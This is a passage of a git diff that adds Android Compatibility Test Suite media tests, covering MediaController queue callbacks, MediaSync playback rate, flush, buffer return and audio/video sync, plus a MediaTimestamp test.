+    public static final String KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS = "expectedTotalNumberOfItems";
+    public static final String KEY_EXPECTED_QUEUE_SIZE = "expectedQueueSize";
+
+    private MediaController mMediaController;
+    private MediaController.Callback mMediaControllerCallback;
+    private CountDownLatch mAllItemsNotified;
+    private CountDownLatch mQueueNotified;
+
+    private void testSeriesOfSetQueue_setUp(Bundle args) {
+        MediaSession.Token token = args.getParcelable(KEY_SESSION_TOKEN);
+        int expectedTotalNumberOfItems = args.getInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS);
+
+        mAllItemsNotified = new CountDownLatch(1);
+        AtomicInteger numberOfItems = new AtomicInteger();
+        mMediaControllerCallback = new MediaController.Callback() {
+            @Override
+            public void onQueueChanged(List<MediaSession.QueueItem> queue) {
+                if (queue != null) {
+                    if (numberOfItems.addAndGet(queue.size()) >= expectedTotalNumberOfItems) {
+                        mAllItemsNotified.countDown();
+                    }
+                }
+            }
+        };
+        mMediaController = new MediaController(this, token);
+        mMediaController.registerCallback(mMediaControllerCallback,
+                new Handler(Looper.getMainLooper()));
+    }
+
+    private void testSeriesOfSetQueue_check() throws Exception {
+        assertTrue(mAllItemsNotified.await(TIMEOUT_MS, MILLISECONDS));
+    }
+
+    private void testSeriesOfSetQueue_cleanUp() {
+        mMediaController.unregisterCallback(mMediaControllerCallback);
+        mMediaController = null;
+        mMediaControllerCallback = null;
+        mAllItemsNotified = null;
+    }
+
+    private void testSetQueue_setUp(Bundle args) {
+        MediaSession.Token token = args.getParcelable(KEY_SESSION_TOKEN);
+        int expectedQueueSize = args.getInt(KEY_EXPECTED_QUEUE_SIZE);
+
+        mQueueNotified = new CountDownLatch(1);
+        mMediaControllerCallback = new MediaController.Callback() {
+            @Override
+            public void onQueueChanged(List<MediaSession.QueueItem> queue) {
+                if (queue != null && queue.size() == expectedQueueSize) {
+                    mQueueNotified.countDown();
+                }
+            }
+        };
+        mMediaController = new MediaController(this, token);
+        mMediaController.registerCallback(mMediaControllerCallback,
+                new Handler(Looper.getMainLooper()));
+    }
+
+    private void testSetQueue_check() throws Exception {
+        assertTrue(mQueueNotified.await(TIMEOUT_MS, MILLISECONDS));
+    }
+
+    private void testSetQueue_cleanUp() {
+        mMediaController.unregisterCallback(mMediaControllerCallback);
+        mMediaController = null;
+        mMediaControllerCallback = null;
+        mQueueNotified = null;
+    }
+
+    @Override
+    public void onRun(int testId, int step, @Nullable Bundle args) throws Exception {
+        if (testId == TEST_SERIES_OF_SET_QUEUE) {
+            if (step == STEP_SET_UP) {
+                testSeriesOfSetQueue_setUp(args);
+            } else if (step == STEP_CHECK) {
+                testSeriesOfSetQueue_check();
+            } else if (step == STEP_CLEAN_UP) {
+                testSeriesOfSetQueue_cleanUp();
+            } else {
+                throw new IllegalArgumentException("Unknown step=" + step);
+            }
+        } else if (testId == TEST_SET_QUEUE) {
+            if (step == STEP_SET_UP) {
+                testSetQueue_setUp(args);
+            } else if (step == STEP_CHECK) {
+                testSetQueue_check();
+            } else if (step == STEP_CLEAN_UP) {
+                testSetQueue_cleanUp();
+            } else {
+                throw new IllegalArgumentException("Unknown step=" + step);
+            }
+
+        } else {
+            throw new IllegalArgumentException("Unknown testId=" + testId);
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaSyncTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaSyncTest.java
new file mode 100644
index 0000000..94529bf
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaSyncTest.java
@@ -0,0 +1,826 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.misc.cts;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioTrack;
+import android.media.MediaCodec;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaSync;
+import android.media.MediaTimestamp;
+import android.media.PlaybackParams;
+import android.media.SyncParams;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.MediaStubActivity;
+import android.media.cts.Preconditions;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Log;
+import android.view.Surface;
+
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.IOException;
+import java.lang.Long;
+import java.lang.Math;
+import java.nio.ByteBuffer;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/**
+ * Tests for the MediaSync API and local video/audio playback.
+ *
+ * <p>The file in res/raw used by all tests are (c) copyright 2008,
+ * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
+ * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
+ */
+@NonMediaMainlineTest
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSyncTest extends ActivityInstrumentationTestCase2<MediaStubActivity> {
+    private static final String LOG_TAG = "MediaSyncTest";
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    private final long NO_TIMESTAMP = -1;
+    private final float FLOAT_PLAYBACK_RATE_TOLERANCE = .02f;
+    private final long TIME_MEASUREMENT_TOLERANCE_US = 20000;
+    final String INPUT_RESOURCE =
+            mInpPrefix + "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
+    private final int APPLICATION_AUDIO_PERIOD_MS = 200;
+    private final int TEST_MAX_SPEED = 2;
+    private static final float FLOAT_TOLERANCE = .00001f;
+
+    private Context mContext;
+
+    private MediaStubActivity mActivity;
+
+    private MediaSync mMediaSync = null;
+    private Surface mSurface = null;
+
+    private Decoder mDecoderVideo = null;
+    private Decoder mDecoderAudio = null;
+    private boolean mHasAudio = false;
+    private boolean mHasVideo = false;
+    private boolean mEosAudio = false;
+    private boolean mEosVideo = false;
+    private int mTaggedAudioBufferIndex = -1;
+    private final Object mConditionEos = new Object();
+    private final Object mConditionEosAudio = new Object();
+    private final Object mConditionTaggedAudioBufferIndex = new Object();
+
+    private int mNumBuffersReturned = 0;
+
+    public MediaSyncTest() {
+        super(MediaStubActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mActivity = getActivity();
+        getInstrumentation().waitForIdleSync();
+        try {
+            runTestOnUiThread(new Runnable() {
+                public void run() {
+                    mMediaSync = new MediaSync();
+                }
+            });
+        } catch (Throwable e) {
+            e.printStackTrace();
+            fail();
+        }
+        mContext = getInstrumentation().getTargetContext();
+        mDecoderVideo = new Decoder(this, mMediaSync, false);
+        mDecoderAudio = new Decoder(this, mMediaSync, true);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mMediaSync != null) {
+            mMediaSync.release();
+            mMediaSync = null;
+        }
+        if (mDecoderAudio != null) {
+            mDecoderAudio.release();
+            mDecoderAudio = null;
+        }
+        if (mDecoderVideo != null) {
+            mDecoderVideo.release();
+            mDecoderVideo = null;
+        }
+        if (mSurface != null) {
+            mSurface.release();
+            mSurface = null;
+        }
+        mActivity = null;
+        mHasAudio = false;
+        mHasVideo = false;
+        mEosAudio = false;
+        mEosVideo = false;
+        mTaggedAudioBufferIndex = -1;
+        super.tearDown();
+    }
+
+    private boolean reachedEos_l() {
+        return ((!mHasVideo || mEosVideo) && (!mHasAudio || mEosAudio));
+    }
+
+    public void onTaggedAudioBufferIndex(Decoder decoder, int index) {
+        synchronized (mConditionTaggedAudioBufferIndex) {
+            if (decoder == mDecoderAudio) {
+                mTaggedAudioBufferIndex = index;
+            }
+        }
+    }
+
+    public void onEos(Decoder decoder) {
+        synchronized (mConditionEosAudio) {
+            if (decoder == mDecoderAudio) {
+                mEosAudio = true;
+                mConditionEosAudio.notify();
+            }
+        }
+
+        synchronized (mConditionEos) {
+            if (decoder == mDecoderVideo) {
+                mEosVideo = true;
+            }
+            if (reachedEos_l()) {
+                mConditionEos.notify();
+            }
+        }
+    }
+
+    private boolean hasAudioOutput() {
+        return mActivity.getPackageManager()
+            .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+    }
+
+    /**
+     * Tests setPlaybackParams is handled correctly for wrong rate.
+     */
+    public void testSetPlaybackParamsFail() throws InterruptedException {
+        final float rate = -1.0f;
+        try {
+            mMediaSync.setPlaybackParams(new PlaybackParams().setSpeed(rate));
+            fail("playback rate " + rate + " is not handled correctly");
+        } catch (IllegalArgumentException e) {
+        }
+
+        assertTrue("The stream in test file can not be decoded",
+                mDecoderAudio.setup(INPUT_RESOURCE, null, Long.MAX_VALUE, NO_TIMESTAMP));
+
+        // get audio track.
+        mMediaSync.setAudioTrack(mDecoderAudio.getAudioTrack());
+
+        try {
+            mMediaSync.setPlaybackParams(new PlaybackParams().setSpeed(rate));
+            fail("With audio track set, playback rate " + rate
+                    + " is not handled correctly");
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
+    /**
+     * Tests setPlaybackParams is handled correctly for good rate without audio track set.
+     * The case for good rate with audio track set is tested in testPlaybackRate*.
+     */
+    public void testSetPlaybackParamsSucceed() throws InterruptedException {
+        final float rate = (float)TEST_MAX_SPEED;
+        try {
+            mMediaSync.setPlaybackParams(new PlaybackParams().setSpeed(rate));
+            PlaybackParams pbp = mMediaSync.getPlaybackParams();
+            assertEquals(rate, pbp.getSpeed(), FLOAT_TOLERANCE);
+        } catch (IllegalArgumentException e) {
+            fail("playback rate " + rate + " is not handled correctly");
+        }
+    }
+
+    /**
+     * Tests returning audio buffers correctly.
+     */
+    public void testAudioBufferReturn() throws InterruptedException {
+        final int timeOutMs = 10000;
+        boolean completed = runCheckAudioBuffer(INPUT_RESOURCE, timeOutMs);
+        if (!completed) {
+            throw new RuntimeException("timed out waiting for audio buffer return");
+        }
+    }
+
+    private PlaybackParams PAUSED_RATE = new PlaybackParams().setSpeed(0.f);
+    private PlaybackParams NORMAL_RATE = new PlaybackParams().setSpeed(1.f);
+
+    private boolean runCheckAudioBuffer(String inputResource, int timeOutMs) {
+        final int NUM_LOOPS = 10;
+        final Object condition = new Object();
+
+        mHasAudio = true;
+        if (mDecoderAudio.setup(inputResource, null, Long.MAX_VALUE, NO_TIMESTAMP) == false) {
+            return true;
+        }
+
+        // get audio track.
+        mMediaSync.setAudioTrack(mDecoderAudio.getAudioTrack());
+
+        mMediaSync.setCallback(new MediaSync.Callback() {
+            @Override
+            public void onAudioBufferConsumed(
+                    MediaSync sync, ByteBuffer byteBuffer, int bufferIndex) {
+                Decoder decoderAudio = mDecoderAudio;
+                if (decoderAudio != null) {
+                    decoderAudio.checkReturnedAudioBuffer(byteBuffer, bufferIndex);
+                    decoderAudio.releaseOutputBuffer(bufferIndex, NO_TIMESTAMP);
+                    synchronized (condition) {
+                        ++mNumBuffersReturned;
+                        if (mNumBuffersReturned >= NUM_LOOPS) {
+                            condition.notify();
+                        }
+                    }
+                }
+            }
+        }, null);
+
+        mMediaSync.setPlaybackParams(NORMAL_RATE);
+
+        synchronized (condition) {
+            mDecoderAudio.start();
+
+            try {
+                condition.wait(timeOutMs);
+            } catch (InterruptedException e) {
+            }
+            return (mNumBuffersReturned >= NUM_LOOPS);
+        }
+    }
+
+    /**
+     * Tests flush.
+     */
+    public void testFlush() throws InterruptedException {
+        final int timeOutMs = 5000;
+        boolean completed = runFlush(INPUT_RESOURCE, timeOutMs);
+        if (!completed) {
+            throw new RuntimeException("timed out waiting for flush");
+        }
+    }
+
+    private boolean runFlush(String inputResource, int timeOutMs) {
+        final int INDEX_BEFORE_FLUSH = 1;
+        final int INDEX_AFTER_FLUSH = 2;
+        final int BUFFER_SIZE = 1024;
+        final int[] returnedIndex = new int[1];
+        final Object condition = new Object();
+
+        returnedIndex[0] = -1;
+
+        mHasAudio = true;
+        if (mDecoderAudio.setup(inputResource, null, Long.MAX_VALUE, NO_TIMESTAMP) == false) {
+            return true;
+        }
+
+        // get audio track.
+        mMediaSync.setAudioTrack(mDecoderAudio.getAudioTrack());
+
+        mMediaSync.setCallback(new MediaSync.Callback() {
+            @Override
+            public void onAudioBufferConsumed(
+                    MediaSync sync, ByteBuffer byteBuffer, int bufferIndex) {
+                synchronized (condition) {
+                    if (returnedIndex[0] == -1) {
+                        returnedIndex[0] = bufferIndex;
+                        condition.notify();
+                    }
+                }
+            }
+        }, null);
+
+        mMediaSync.setOnErrorListener(new MediaSync.OnErrorListener() {
+            @Override
+            public void onError(MediaSync sync, int what, int extra) {
+                fail("got error from media sync (" + what + ", " + extra + ")");
+            }
+        }, null);
+
+        mMediaSync.setPlaybackParams(PAUSED_RATE);
+
+        ByteBuffer buffer1 = ByteBuffer.allocate(BUFFER_SIZE);
+        ByteBuffer buffer2 = ByteBuffer.allocate(BUFFER_SIZE);
+        mMediaSync.queueAudio(buffer1, INDEX_BEFORE_FLUSH, 0 /* presentationTimeUs */);
+        mMediaSync.flush();
+        mMediaSync.queueAudio(buffer2, INDEX_AFTER_FLUSH, 0 /* presentationTimeUs */);
+
+        synchronized (condition) {
+            mMediaSync.setPlaybackParams(NORMAL_RATE);
+
+            try {
+                condition.wait(timeOutMs);
+            } catch (InterruptedException e) {
+            }
+            return (returnedIndex[0] == INDEX_AFTER_FLUSH);
+        }
+    }
+
+    /**
+     * Tests playing back audio successfully.
+     */
+    public void testPlayVideo() throws Exception {
+        playAV(INPUT_RESOURCE, 5000 /* lastBufferTimestampMs */,
+               false /* audio */, true /* video */, 10000 /* timeOutMs */);
+    }
+
+    /**
+     * Tests playing back video successfully.
+     */
+    public void testPlayAudio() throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(LOG_TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        playAV(INPUT_RESOURCE, 5000 /* lastBufferTimestampMs */,
+               true /* audio */, false /* video */, 10000 /* timeOutMs */);
+    }
+
+    /**
+     * Tests playing back audio and video successfully.
+     */
+    public void testPlayAudioAndVideo() throws Exception {
+        playAV(INPUT_RESOURCE, 5000 /* lastBufferTimestampMs */,
+               true /* audio */, true /* video */, 10000 /* timeOutMs */);
+    }
+
+    /**
+     * Tests playing at specified playback rate successfully.
+     */
+    public void testPlaybackRateQuarter() throws Exception {
+        playAV(INPUT_RESOURCE, 2000 /* lastBufferTimestampMs */,
+               true /* audio */, true /* video */, 10000 /* timeOutMs */,
+               0.25f /* playbackRate */);
+    }
+    public void testPlaybackRateHalf() throws Exception {
+        playAV(INPUT_RESOURCE, 4000 /* lastBufferTimestampMs */,
+               true /* audio */, true /* video */, 10000 /* timeOutMs */,
+               0.5f /* playbackRate */);
+    }
+    public void testPlaybackRateDouble() throws Exception {
+        playAV(INPUT_RESOURCE, 8000 /* lastBufferTimestampMs */,
+               true /* audio */, true /* video */, 10000 /* timeOutMs */,
+               (float)TEST_MAX_SPEED /* playbackRate */);
+    }
+
+    private void playAV(
+            final String inputResource,
+            final long lastBufferTimestampMs,
+            final boolean audio,
+            final boolean video,
+            int timeOutMs) throws Exception {
+        playAV(inputResource, lastBufferTimestampMs, audio, video, timeOutMs, 1.0f);
+    }
+
+    private class PlayAVState {
+        boolean mTimeValid;
+        long mMediaDurationUs;
+        long mClockDurationUs;
+        float mSyncTolerance;
+    };
+
+    private void playAV(
+            final String inputResource,
+            final long lastBufferTimestampMs,
+            final boolean audio,
+            final boolean video,
+            int timeOutMs,
+            final float playbackRate) throws Exception {
+        final int limit = 5;
+        String info = "";
+        Preconditions.assertTestFileExists(inputResource);
+        for (int tries = 0; ; ++tries) {
+            // Run test
+            final AtomicBoolean completed = new AtomicBoolean();
+            final PlayAVState state = new PlayAVState();
+            Thread decodingThread = new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    completed.set(runPlayAV(inputResource, lastBufferTimestampMs * 1000,
+                            audio, video, playbackRate, state));
+                }
+            });
+            decodingThread.start();
+            decodingThread.join(timeOutMs);
+            assertTrue("timed out decoding to end-of-stream", completed.get());
+
+            // Examine results
+            if (!state.mTimeValid) return;
+
+            // sync.getTolerance() is MediaSync's tolerance of the playback rate, whereas
+            // FLOAT_PLAYBACK_RATE_TOLERANCE is our test's tolerance.
+            // We need to add both to get an upperbound for allowable error.
+            final double tolerance = state.mMediaDurationUs
+                    * (state.mSyncTolerance + FLOAT_PLAYBACK_RATE_TOLERANCE)
+                    + TIME_MEASUREMENT_TOLERANCE_US;
+            final double diff = state.mMediaDurationUs - state.mClockDurationUs * playbackRate ;
+            info += "[" + tries
+                    + "] playbackRate " + playbackRate
+                    + ", clockDurationUs " + state.mClockDurationUs
+                    + ", mediaDurationUs " + state.mMediaDurationUs
+                    + ", diff " + diff
+                    + ", tolerance " + tolerance + "\n";
+
+            // Good enough?
+            if (Math.abs(diff) <= tolerance) {
+                Log.d(LOG_TAG, info);
+                return;
+            }
+            assertTrue("bad playback\n" + info, tries < limit);
+
+            Log.d(LOG_TAG, "Trying again\n" + info);
+
+            // Try again (may throw Exception)
+            tearDown();
+            setUp();
+
+            Thread.sleep(1000 /* millis */);
+        }
+    }
+
+    private boolean runPlayAV(
+            String inputResource,
+            long lastBufferTimestampUs,
+            boolean audio,
+            boolean video,
+            float playbackRate,
+            PlayAVState state) {
+        // allow 750ms for playback to get to stable state.
+        final int PLAYBACK_RAMP_UP_TIME_US = 750000;
+
+        Preconditions.assertTestFileExists(inputResource);
+
+        final Object conditionFirstAudioBuffer = new Object();
+
+        if (video) {
+            mMediaSync.setSurface(mActivity.getSurfaceHolder().getSurface());
+            mSurface = mMediaSync.createInputSurface();
+
+            if (mDecoderVideo.setup(
+                    inputResource, mSurface, lastBufferTimestampUs, NO_TIMESTAMP) == false) {
+                return true;
+            }
+            mHasVideo = true;
+        }
+
+        if (audio) {
+            if (mDecoderAudio.setup(
+                    inputResource, null, lastBufferTimestampUs,
+                    PLAYBACK_RAMP_UP_TIME_US) == false) {
+                return true;
+            }
+
+            // get audio track.
+            mMediaSync.setAudioTrack(mDecoderAudio.getAudioTrack());
+
+            mMediaSync.setCallback(new MediaSync.Callback() {
+                @Override
+                public void onAudioBufferConsumed(
+                        MediaSync sync, ByteBuffer byteBuffer, int bufferIndex) {
+                    Decoder decoderAudio = mDecoderAudio;
+                    if (decoderAudio != null) {
+                        decoderAudio.releaseOutputBuffer(bufferIndex, NO_TIMESTAMP);
+                    }
+                    synchronized (conditionFirstAudioBuffer) {
+                        synchronized (mConditionTaggedAudioBufferIndex) {
+                            if (mTaggedAudioBufferIndex >= 0
+                                    && mTaggedAudioBufferIndex == bufferIndex) {
+                                conditionFirstAudioBuffer.notify();
+                            }
+                        }
+                    }
+                }
+            }, null);
+
+            mHasAudio = true;
+        }
+
+        SyncParams sync = new SyncParams().allowDefaults();
+        mMediaSync.setSyncParams(sync);
+        sync = mMediaSync.getSyncParams();
+
+        mMediaSync.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+
+        synchronized (conditionFirstAudioBuffer) {
+            if (video) {
+                mDecoderVideo.start();
+            }
+            if (audio) {
+                mDecoderAudio.start();
+
+                // wait for the first audio output buffer returned by media sync.
+                try {
+                    conditionFirstAudioBuffer.wait();
+                } catch (InterruptedException e) {
+                    Log.i(LOG_TAG, "worker thread is interrupted.");
+                    return true;
+                }
+            }
+        }
+
+        if (audio) {
+            MediaTimestamp mediaTimestamp = mMediaSync.getTimestamp();
+            assertTrue("No timestamp available for starting", mediaTimestamp != null);
+            long checkStartTimeRealUs = System.nanoTime() / 1000;
+            long checkStartTimeMediaUs = mediaTimestamp.mediaTimeUs;
+
+            synchronized (mConditionEosAudio) {
+                if (!mEosAudio) {
+                    try {
+                        mConditionEosAudio.wait();
+                    } catch (InterruptedException e) {
+                        Log.i(LOG_TAG, "worker thread is interrupted when waiting for audio EOS.");
+                        return true;
+                    }
+                }
+            }
+            mediaTimestamp = mMediaSync.getTimestamp();
+            assertTrue("No timestamp available for ending", mediaTimestamp != null);
+            state.mTimeValid = true;
+            state.mClockDurationUs = System.nanoTime() / 1000 - checkStartTimeRealUs;
+            state.mMediaDurationUs = mediaTimestamp.mediaTimeUs - checkStartTimeMediaUs;
+            state.mSyncTolerance = sync.getTolerance();
+        }
+
+        boolean completed = false;
+        synchronized (mConditionEos) {
+            if (!reachedEos_l()) {
+                try {
+                    mConditionEos.wait();
+                } catch (InterruptedException e) {
+                }
+            }
+            completed = reachedEos_l();
+        }
+        return completed;
+    }
+
+    private class Decoder extends MediaCodec.Callback {
+        private final int NO_SAMPLE_RATE = -1;
+        private final int NO_BUFFER_INDEX = -1;
+
+        private MediaSyncTest mMediaSyncTest = null;
+        private MediaSync mMediaSync = null;
+        private boolean mIsAudio = false;
+        private long mLastBufferTimestampUs = 0;
+        private long mStartingAudioTimestampUs = NO_TIMESTAMP;
+
+        private Surface mSurface = null;
+
+        private AudioTrack mAudioTrack = null;
+
+        private final Object mConditionCallback = new Object();
+        private MediaExtractor mExtractor = null;
+        private MediaCodec mDecoder = null;
+
+        private final Object mAudioBufferLock = new Object();
+        private List<AudioBuffer> mAudioBuffers = new LinkedList<AudioBuffer>();
+
+        // accessed only on callback thread.
+        private boolean mEos = false;
+        private boolean mSignaledEos = false;
+
+        private class AudioBuffer {
+            public ByteBuffer mByteBuffer;
+            public int mBufferIndex;
+
+            public AudioBuffer(ByteBuffer byteBuffer, int bufferIndex) {
+                mByteBuffer = byteBuffer;
+                mBufferIndex = bufferIndex;
+            }
+        }
+
+        private HandlerThread mHandlerThread;
+        private Handler mHandler;
+
+        Decoder(MediaSyncTest test, MediaSync sync, boolean isAudio) {
+            mMediaSyncTest = test;
+            mMediaSync = sync;
+            mIsAudio = isAudio;
+        }
+
+        public boolean setup(
+                String inputResource, Surface surface, long lastBufferTimestampUs,
+                long startingAudioTimestampUs) {
+            if (!mIsAudio) {
+                mSurface = surface;
+                // handle video callback in a separate thread as releaseOutputBuffer is blocking
+                mHandlerThread = new HandlerThread("SyncViewVidDec");
+                mHandlerThread.start();
+                mHandler = new Handler(mHandlerThread.getLooper());
+            }
+            mLastBufferTimestampUs = lastBufferTimestampUs;
+            mStartingAudioTimestampUs = startingAudioTimestampUs;
+            try {
+                // get extrator.
+                String type = mIsAudio ? "audio/" : "video/";
+                mExtractor = MediaUtils.createMediaExtractorForMimeType(
+                        mContext, inputResource, type);
+
+                // get decoder.
+                MediaFormat mediaFormat =
+                    mExtractor.getTrackFormat(mExtractor.getSampleTrackIndex());
+                String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
+                if (!MediaUtils.hasDecoder(mimeType)) {
+                    Log.i(LOG_TAG, "No decoder found for mimeType= " + mimeType);
+                    return false;
+                }
+                mDecoder = MediaCodec.createDecoderByType(mimeType);
+                mDecoder.configure(mediaFormat, mSurface, null, 0);
+                mDecoder.setCallback(this, mHandler);
+
+                return true;
+            } catch (IOException e) {
+                throw new RuntimeException("error reading input resource", e);
+            }
+        }
+
+        public void start() {
+            if (mDecoder != null) {
+                mDecoder.start();
+            }
+        }
+
+        public void release() {
+            synchronized (mConditionCallback) {
+                if (mDecoder != null) {
+                    try {
+                        mDecoder.stop();
+                    } catch (IllegalStateException e) {
+                    }
+                    mDecoder.release();
+                    mDecoder = null;
+                }
+                if (mExtractor != null) {
+                    mExtractor.release();
+                    mExtractor = null;
+                }
+            }
+
+            if (mAudioTrack != null) {
+                mAudioTrack.release();
+                mAudioTrack = null;
+            }
+        }
+
+        public AudioTrack getAudioTrack() {
+            if (!mIsAudio) {
+                throw new RuntimeException("can not create audio track for video");
+            }
+
+            if (mExtractor == null) {
+                throw new RuntimeException("extrator is null");
+            }
+
+            if (mAudioTrack == null) {
+                MediaFormat mediaFormat =
+                    mExtractor.getTrackFormat(mExtractor.getSampleTrackIndex());
+                int sampleRateInHz = mediaFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE);
+                int channelConfig = (mediaFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT) == 1 ?
+                        AudioFormat.CHANNEL_OUT_MONO : AudioFormat.CHANNEL_OUT_STEREO);
+                int audioFormat = AudioFormat.ENCODING_PCM_16BIT;
+                int minBufferSizeInBytes = AudioTrack.getMinBufferSize(
+                        sampleRateInHz,
+                        channelConfig,
+                        audioFormat);
+                final int frameCount = APPLICATION_AUDIO_PERIOD_MS * sampleRateInHz / 1000;
+                final int frameSizeInBytes = Integer.bitCount(channelConfig)
+                        * AudioFormat.getBytesPerSample(audioFormat);
+                // ensure we consider application requirements for writing audio data
+                minBufferSizeInBytes = TEST_MAX_SPEED /* speed influences buffer size */
+                        * Math.max(minBufferSizeInBytes, frameCount * frameSizeInBytes);
+                mAudioTrack = new AudioTrack(
+                        AudioManager.STREAM_MUSIC,
+                        sampleRateInHz,
+                        channelConfig,
+                        audioFormat,
+                        minBufferSizeInBytes,
+                        AudioTrack.MODE_STREAM);
+            }
+
+            return mAudioTrack;
+        }
+
+        public void releaseOutputBuffer(int bufferIndex, long renderTimestampNs) {
+            synchronized (mConditionCallback) {
+                if (mDecoder != null) {
+                    if (renderTimestampNs == NO_TIMESTAMP) {
+                        mDecoder.releaseOutputBuffer(bufferIndex, false /* render */);
+                    } else {
+                        mDecoder.releaseOutputBuffer(bufferIndex, renderTimestampNs);
+                    }
+                }
+            }
+        }
+
+        @Override
+        public void onError(MediaCodec codec, MediaCodec.CodecException e) {
+        }
+
+        @Override
+        public void onInputBufferAvailable(MediaCodec codec, int index) {
+            synchronized (mConditionCallback) {
+                if (mExtractor == null || mExtractor.getSampleTrackIndex() == -1
+                        || mSignaledEos || mDecoder != codec) {
+                    return;
+                }
+
+                ByteBuffer buffer = codec.getInputBuffer(index);
+                int size = mExtractor.readSampleData(buffer, 0);
+                long timestampUs = mExtractor.getSampleTime();
+                mExtractor.advance();
+                mSignaledEos = mExtractor.getSampleTrackIndex() == -1
+                        || timestampUs >= mLastBufferTimestampUs;
+                codec.queueInputBuffer(
+                        index,
+                        0,
+                        size,
+                        timestampUs,
+                        mSignaledEos ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+            }
+        }
+
+        @Override
+        public void onOutputBufferAvailable(
+                MediaCodec codec, int index, MediaCodec.BufferInfo info) {
+            synchronized (mConditionCallback) {
+                if (mEos || mDecoder != codec) {
+                    return;
+                }
+
+                mEos = (info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
+
+                if (info.size > 0) {
+                    if (mIsAudio) {
+                        ByteBuffer outputByteBuffer = codec.getOutputBuffer(index);
+                        synchronized (mAudioBufferLock) {
+                            mAudioBuffers.add(new AudioBuffer(outputByteBuffer, index));
+                        }
+                        mMediaSync.queueAudio(
+                                outputByteBuffer,
+                                index,
+                                info.presentationTimeUs);
+                        if (mStartingAudioTimestampUs >= 0
+                                && info.presentationTimeUs >= mStartingAudioTimestampUs) {
+                            mMediaSyncTest.onTaggedAudioBufferIndex(this, index);
+                            mStartingAudioTimestampUs = NO_TIMESTAMP;
+                        }
+                    } else {
+                        codec.releaseOutputBuffer(index, info.presentationTimeUs * 1000);
+                    }
+                } else {
+                    codec.releaseOutputBuffer(index, false);
+                }
+            }
+
+            if (mEos) {
+                mMediaSyncTest.onEos(this);
+            }
+        }
+
+        @Override
+        public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+        }
+
+        public void checkReturnedAudioBuffer(ByteBuffer byteBuffer, int bufferIndex) {
+            synchronized (mAudioBufferLock) {
+                AudioBuffer audioBuffer = mAudioBuffers.get(0);
+                if (audioBuffer.mByteBuffer != byteBuffer
+                        || audioBuffer.mBufferIndex != bufferIndex) {
+                    fail("returned buffer doesn't match what's sent");
+                }
+                mAudioBuffers.remove(0);
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaTimestampTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaTimestampTest.java
new file mode 100644
index 0000000..82cad3b
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaTimestampTest.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.media.MediaTimestamp;
+import android.media.cts.NonMediaMainlineTest;
+import android.test.AndroidTestCase;
+
+/**
+ * Tests for MediaTimestamp.
+ */
+@NonMediaMainlineTest
+public class MediaTimestampTest extends AndroidTestCase {
+    public void testMediaTimestamp() {
+        MediaTimestamp timestamp = new MediaTimestamp(1000, 2000, 2.0f);
+        assertEquals(1000, timestamp.getAnchorMediaTimeUs());
+        assertEquals(2000, timestamp.getAnchorSystemNanoTime());
+        assertEquals(2.0f, timestamp.getMediaClockRate());
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MockActivity.java b/tests/tests/media/misc/src/android/media/misc/cts/MockActivity.java
new file mode 100644
